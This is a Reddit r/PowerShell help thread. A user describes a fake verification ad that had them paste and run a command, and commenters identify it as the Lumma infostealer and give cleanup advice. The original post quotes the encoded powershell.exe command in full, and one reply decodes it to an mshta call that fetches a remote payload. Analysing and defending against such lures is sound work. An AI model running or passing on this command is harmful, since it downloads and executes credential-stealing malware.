r/PowerShell • • Aug 23 '24

Powershell script from ad need help

hello by mistake i was on a website that opened an ad that seemed like a human verification ,it said to verify press windows r ctrl v and enter then my power shell opened and the line was powershell.exe -eC bQBzAGgAdABhACAAIgBoAHQAdABwAHMAOgAvAC8AcgBlAHEAdQBlAHMAdABlAGQALQBmAGkAbABlAC4AYgAtAGMAZABuAC4AbgBlAHQALwBmAGwAYQByAGUAIgA=

I made a lapse in judgement from ultra fatigue So I need help please 🙏🏽 .

I ran tron script and immediately disconnected from the net , tron came back clear and luckily it’s my gaming rig so nothing of important on here and most accounts got 2fa although I still want to be sure and remove anything malicious without hopefully having to full wipe , can anyone help me see what damage this script has done ?

0 Upvotes

20 comments sorted by

9

u/[deleted] Aug 24 '24

Looks like you downloaded Lumma stealer there mate. It's a nasty little infostealer that targets credentials/session cookies in the browser, cypto wallet contents and credentials, and can install more malware like keyloggers.

To be safe i'd take inventory of all the passwords you have stored in the browser and sites you have logged into recently and reset the passwords for them ASAP. good to here you have 2fa but that won't protect you against stolen cookies. You could try to clean the system but i recommend a wipe and clean install of the OS to be certain.

I'll drop the malware analysis link for you, the malware was run 44 seconds in and i didn't do anything else with the file. Best of luck and try posting in a security/AV based subreddit next time

https://app.any.run/tasks/b02a4276-f26a-49ea-99cd-b2eb6a9e88d8

1

u/chosenone333 Aug 24 '24

Hey really appreciate this 🙏🏽 could it still access this said cookies and credentials even while I’m offline? I ran tron script and immediately removed my internet access.

Noted I shall post on a av thread next time

2

u/[deleted] Aug 24 '24

It's probably collecting information still but will not be able to offload them until it reconnects. I also know that you want to remediate this without a clean install. I'm working on deobfuscating this sample but probably wont have answers for you tonight

1

u/chosenone333 Aug 24 '24

I have changed all my passwords deleted cookies and the card I use on there doesn’t have any money unless I load some on it so that’s okay ordered a new one plus my crypto work wallet and stuff is all on a safe laptop I never fuck around with , will keep the pc offline till then ,if you can I would really appreciate it as I have way to much on this c drive to be able to back it all up and nuke for now.

Malwarebytes did find a few registries trying to flag the malware as non infected I really appreciate it dawg thanks 🙏🏽 keep me posted if you manage to deobfusicate it I can wait and keep offline for now.

1

u/[deleted] Aug 24 '24

What are those registry keys? My guess is thats probably the persistence mechanism. If its ends in \run or \runonce then 100% it is at least 1 method of maintaining persistence

1

u/chosenone333 Aug 24 '24

I will have to check when I get back to my pc later today

1

u/chosenone333 Aug 24 '24

Also should I be worried about it collecting passwords from apps and games ? Or is it browser uniquely?

2

u/[deleted] Aug 24 '24

Not 100% sure but changing those passwords will do well for peace of mind

0

u/chosenone333 Aug 24 '24

It was a really smart way to fork me . It used a script to copy to my clipboard and then coerced me into running it with hotkeys

1

u/chosenone333 Aug 24 '24

Okay so I did good by deleting all my credentials and cookies way beforehand ,I don’t use this pc for wallets and such so that’s cool,had already disconnected from the net , then I ran tron script it came back clear . Now Is there anything else they could have taken ? Also the only sure fire way to clean up is nuking right ? And how do I go about keeping all my other stuff on my c drive

1

u/doglar_666 Aug 24 '24

You buy a large external drive, boot into a Linux or WinPE based recovery environment, copy+paste all the required data to the external drive, then nuke the OS. If you don't backup your data from a 'known clean' environment, you run the risk of the external drive becoming infected, since you don't know what malware was installed. It also means you can connect to the Internet without the malware being active, should you wish to upload some data to cloud storage.

1

u/chosenone333 Aug 24 '24

Thanks for the anwser 🙏🏽 I shall boot from a winPE ,just gona have to wait on my salary end of month to afford a large drive .

3

u/The82Ghost Aug 24 '24

I'd re-install the system. Changing passwords is no use if you're dealing with an infostealer, it will just steal the new passwords aswell.

1

u/chosenone333 Aug 29 '24

Changed all the passwords from a iPhone and haven’t logged back or even connects the pc in till I get this sorted

3

u/Certain-Community438 Aug 24 '24

You change the passwords from a clean device.

1

u/atheos42 Aug 24 '24

[removed] — view removed comment

2

u/atheos42 Aug 24 '24
# Reference:
# https://learn.microsoft.com/en-us/powershell/scripting/samples/decode-powershell-command-from-a-running-process?view=powershell-7.4

$bytes = 'bQBzAGgAdABhACAAIgBoAHQAdABwAHMAOgAvAC8AcgBlAHEAdQBlAHMAdABlAGQALQBmAGkAbABlAC4AYgAtAGMAZABuAC4AbgBlAHQALwBmAGwAYQByAGUAIgA='

# Encode the bytes to Base64
$commandBytes = [Convert]::FromBase64String($bytes)

$decodedCommand = [System.Text.Encoding]::Unicode.GetString($commandBytes)

# Output the Base64 encoded string
Write-Output $decodedCommand

3

u/JMejia5429 Aug 24 '24

that opens the following url -- https : // requested - file . b - cdn . net / flare (putting spaces to make sure folks dont just click it).

the exe it downloads, looks to check for a dialer and the last numbers called.

In any case, pretty confident this didn't do anything 'safe'. you can run antiviruses and hope it gets rid of it or best way -- wipe the pc and start fresh.

Lesson of the day, don't do / run random shit off the net.

1

u/EkriirkE Aug 24 '24

I see 3 embedded executables inside and a large obfuscated javascript